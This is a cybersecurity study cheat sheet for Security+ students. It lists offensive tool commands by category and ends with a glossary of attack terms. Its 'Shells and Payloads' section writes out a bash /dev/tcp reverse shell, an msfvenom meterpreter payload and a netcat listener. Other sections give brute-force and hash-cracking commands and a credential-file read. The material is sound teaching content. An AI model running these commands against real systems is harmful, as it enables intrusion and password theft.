Basic Hacking Commands and Terms for Security+ Students

Common Hacking Commands (Linux/Kali)

1. Network Scanning & Enumeration

- nmap [IP] - Basic port scan

- nmap -sV [IP] - Detect service versions

- nmap -O [IP] - Operating system detection

- nmap -A [IP] - Aggressive scan: detects OS, services, scripts, and traceroute

- nmap -p- [IP] - Scan all 65535 TCP ports

- netdiscover - Discover live hosts on the network

- arp-scan -l - Local network ARP scan

- whois [domain] - Domain registration info

2. Password Attacks

- hydra -l user -P /path/to/wordlist.txt [protocol]://[target] - Brute-force attack

- john --wordlist=[path] [hashfile] - Crack hashed passwords with John the Ripper

- hashcat -m [mode] -a 0 [hashfile] [wordlist] - Advanced password cracking

- crunch [min] [max] [charset] -o wordlist.txt - Generate custom wordlist

3. SMB & File Sharing

- smbclient -L //[IP]/ - List SMB shares

- crackmapexec smb [IP] -u user -p pass - Test SMB login or run commands

- enum4linux [IP] - SMB enumeration

4. Web Attacks

Basic Hacking Commands and Terms for Security+ Students

- gobuster dir -u http://[IP] -w /path/to/wordlist.txt - Directory brute-forcing

- nikto -h http://[IP] - Web vulnerability scanner

- curl -I http://[IP] - Fetch HTTP headers

- sqlmap -u http://[IP]/vuln.php?id=1 --batch - SQL injection testing

5. Privilege Escalation

- sudo -l - List sudo permissions

- linux-exploit-suggester.sh - Recommend Linux exploits

- windows-exploit-suggester.py - Recommend Windows exploits

6. Shells and Payloads

- nc -lvnp [port] - Listen for a reverse shell

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[port] -f exe > shell.exe - Generate payload

- bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 - Reverse shell (bash)

7. System Investigation

- ps aux - List running processes

- netstat -tulnp - List open ports and services

- ls -la - List files with permissions

- cat /etc/passwd - View user accounts

8. Packet Capture

- tcpdump -i [interface] - Capture network traffic

- wireshark - GUI-based packet analysis

Basic Hacking Commands and Terms for Security+ Students

Must-Know Hacking Terms

1. Vulnerability: A weakness that can be exploited.

2. Exploit: Code or method used to take advantage of a vulnerability.

3. Payload: Malicious code delivered through an exploit (e.g., a reverse shell).

4. Brute Force: Attempting many passwords until the correct one is found.

5. Dictionary Attack: Trying passwords from a list (wordlist).

6. Privilege Escalation: Gaining higher access (e.g., user to root/admin).

7. Persistence: Maintaining access to a compromised system.

8. Lateral Movement: Spreading to other machines in the network.

9. Enumeration: Extracting detailed system or service information.

10. Reconnaissance: Gathering information before an attack.

11. Pivoting: Using a compromised machine to access others.

12. Post-Exploitation: Activities done after gaining access, like data theft.

13. TTPs: Tactics, Techniques, and Procedures used by attackers.

14. C2 (Command and Control): The system an attacker uses to control a compromised machine.

15. Red Team / Blue Team: Red = attackers, Blue = defenders.

16. Penetration Testing: Authorized testing of systems for vulnerabilities.

17. Social Engineering: Manipulating people to gain unauthorized access.

18. Zero-Day: An unknown or unpatched vulnerability.

19. RAT (Remote Access Trojan): Malware allowing full control of a victim system.

20. IDS/IPS: Intrusion Detection/Prevention Systems.